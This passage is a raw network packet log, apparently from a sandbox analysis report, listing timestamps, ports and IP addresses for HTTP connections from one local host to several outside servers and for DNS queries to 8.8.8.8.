Feb 16, 2023 11:50:07.904912949 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.912947893 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.912988901 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913026094 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913053036 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913077116 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913103104 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913125992 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913149118 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913177967 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913203001 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913227081 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913207054 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913207054 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913208008 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913256884 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913286924 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913301945 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913301945 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913316011 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913341999 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913341999 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913392067 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913434029 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913477898 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913505077 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913530111 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913532972 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913554907 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913579941 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913580894 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913604975 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913620949 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913629055 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913706064 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913721085 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913750887 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913775921 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913800955 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913801908 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913825035 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913849115 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913851976 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913953066 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.913969994 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.913980007 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.914010048 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.914041042 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.914047956 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.914087057 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.914104939 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.914124966 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.914185047 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.967808962 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.967905998 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.967972994 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968028069 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.968198061 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968262911 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.968270063 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968339920 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968398094 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.968415976 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968492031 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968544960 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.968559027 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968625069 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968676090 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.968791008 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968867064 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.968924999 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.969007969 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977016926 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977066994 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977102995 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977138042 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977160931 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977185965 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977327108 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977385998 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977389097 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977418900 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977446079 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977475882 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977483034 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977516890 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977528095 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977550030 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977581978 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977596045 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977613926 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977644920 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977657080 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977675915 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977708101 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977721930 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977739096 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977770090 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977785110 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977799892 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977832079 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977843046 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977864981 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977899075 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977910995 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977931976 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977963924 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.977977991 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.977993011 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978024006 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978039980 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978065968 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978095055 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978115082 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978125095 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978158951 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978173018 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978218079 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978270054 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978370905 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978410959 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978444099 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978461981 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978471994 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978516102 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978530884 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978554964 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978586912 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978641033 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978646994 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978684902 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978732109 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978758097 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978791952 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978791952 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978797913 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978827953 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978847980 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978863001 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978894949 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978928089 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978933096 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.978960991 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.978976965 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979000092 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979037046 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979043961 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979074001 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979110003 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979118109 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979146957 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979182959 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979191065 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979221106 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979254961 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979260921 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979290962 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979331017 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979331017 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979360104 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979387045 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979408979 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979439974 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979479074 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979512930 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979545116 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979588985 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979593039 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979629040 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979661942 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979664087 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979675055 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979701042 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979734898 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979743958 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979774952 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979810953 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979820967 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979846001 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979881048 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979891062 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979916096 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979948997 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.979959011 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:07.979979038 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:07.980015993 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:08.233042002 CET	49730	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:08.425405025 CET	80	49730	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:08.425549030 CET	49730	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:08.425903082 CET	49730	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:08.425932884 CET	49730	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:08.619442940 CET	80	49730	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:09.317616940 CET	80	49730	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:09.317651987 CET	80	49730	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:09.317786932 CET	49730	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:09.317909002 CET	49730	80	192.168.2.3	190.140.74.43
Feb 16, 2023 11:50:09.444480896 CET	49731	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:09.511718035 CET	80	49730	190.140.74.43	192.168.2.3
Feb 16, 2023 11:50:09.682589054 CET	80	49731	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:09.682723045 CET	49731	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:09.683068991 CET	49731	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:09.683115959 CET	49731	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:09.942585945 CET	80	49731	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:10.970577002 CET	80	49731	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:10.970730066 CET	80	49731	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:10.970849991 CET	49731	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:10.971019030 CET	49731	80	192.168.2.3	211.171.233.126
Feb 16, 2023 11:50:11.208399057 CET	80	49731	211.171.233.126	192.168.2.3
Feb 16, 2023 11:50:17.788861990 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:50:17.789010048 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:50:17.789175987 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:50:17.950768948 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:50:27.214031935 CET	80	49729	91.227.16.11	192.168.2.3
Feb 16, 2023 11:50:27.214158058 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:27.214231014 CET	49729	80	192.168.2.3	91.227.16.11
Feb 16, 2023 11:50:27.277134895 CET	80	49729	91.227.16.11	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 16, 2023 11:49:05.578969002 CET	62704	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:06.010010004 CET	53	62704	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:07.100178003 CET	49977	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:07.328950882 CET	53	49977	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:08.996042967 CET	57840	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:09.261593103 CET	53	57840	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:22.096405029 CET	57990	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:22.114552021 CET	53	57990	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:23.235512972 CET	52387	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:23.253392935 CET	53	52387	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:24.330091953 CET	56924	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:24.841213942 CET	53	56924	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:26.011415958 CET	60625	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:26.031054020 CET	53	60625	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:27.232419968 CET	49302	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:27.722290993 CET	53	49302	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:28.053153992 CET	53975	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:28.182522058 CET	53	53975	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:30.885447979 CET	51139	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:30.905220985 CET	53	51139	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:32.367307901 CET	52955	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:32.388917923 CET	53	52955	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:33.625036955 CET	60582	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:33.644922972 CET	53	60582	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:35.375308990 CET	57134	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:35.392744064 CET	53	57134	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:38.311496019 CET	62050	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:38.329807043 CET	53	62050	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:39.527456045 CET	56042	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:39.545059919 CET	53	56042	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:40.678168058 CET	59636	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:40.903883934 CET	53	59636	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:41.465527058 CET	55638	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:41.485537052 CET	53	55638	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:42.666181087 CET	57704	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:42.683980942 CET	53	57704	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:44.175308943 CET	65320	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:44.195034027 CET	53	65320	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:45.516350031 CET	60767	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:45.986510038 CET	53	60767	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:47.812330008 CET	65107	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:47.832109928 CET	53	65107	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:48.963176012 CET	53848	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:48.981260061 CET	53	53848	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:50.672718048 CET	57571	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:50.692140102 CET	53	57571	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:52.433581114 CET	58691	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:52.451066971 CET	53	58691	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:54.700021029 CET	53305	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:54.719466925 CET	53	53305	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:57.291203022 CET	59433	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:57.309294939 CET	53	59433	8.8.8.8	192.168.2.3
Feb 16, 2023 11:49:58.951977968 CET	60749	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:49:59.418513060 CET	53	60749	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:00.437529087 CET	56949	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:00.457469940 CET	53	56949	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:04.498056889 CET	52547	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:04.517719984 CET	53	52547	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:05.645973921 CET	53844	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:05.663819075 CET	53	53844	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:06.155621052 CET	65017	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:06.173331976 CET	53	65017	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:07.330909014 CET	53466	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:07.400294065 CET	53	53466	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:08.213740110 CET	57743	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:08.231458902 CET	53	57743	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:09.421124935 CET	53623	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:09.442810059 CET	53	53623	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.251410007 CET	61416	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.251660109 CET	65196	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.275254965 CET	53	65196	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.291371107 CET	58708	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.292747021 CET	59581	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.294032097 CET	53049	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.296905041 CET	60088	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.297712088 CET	63562	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.300431967 CET	53428	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.302887917 CET	65511	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.305423021 CET	59820	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.311326027 CET	53	58708	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.322406054 CET	53	53428	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.325014114 CET	53	59820	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.331003904 CET	53	63562	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.331269979 CET	53	60088	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.340996981 CET	53	65511	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.362577915 CET	64595	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.367924929 CET	52079	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.374721050 CET	64823	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.389113903 CET	53	52079	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.395783901 CET	53	64595	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.405275106 CET	53	59581	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.445194960 CET	51992	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.469127893 CET	53	51992	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.471019030 CET	58119	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.481530905 CET	49166	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.481857061 CET	58301	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.502532959 CET	53	61416	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.511672020 CET	53	58301	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.547035933 CET	53	53049	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.547501087 CET	53	49166	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.554301023 CET	63446	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.589036942 CET	53	63446	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.595698118 CET	53	58119	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.653559923 CET	49874	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.656658888 CET	65459	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.670135021 CET	65385	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.690264940 CET	53	49874	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.711644888 CET	53	65385	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.801285028 CET	54153	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.841768980 CET	53	65459	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.857582092 CET	64602	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.891617060 CET	50784	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.892678022 CET	53	64602	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.912961006 CET	53	64823	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.927870989 CET	53	50784	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.944386005 CET	64121	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:27.965658903 CET	53	64121	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:27.998182058 CET	64967	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.018841982 CET	60825	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.034179926 CET	53	64967	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.048146963 CET	49201	53	192.168.2.3	8.8.8.8
Feb 16, 2023 11:50:28.064404964 CET	53	54153	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.085824966 CET	53	49201	8.8.8.8	192.168.2.3
Feb 16, 2023 11:50:28.125092030 CET	64936	53	192.168.2.3	8.8.8.8
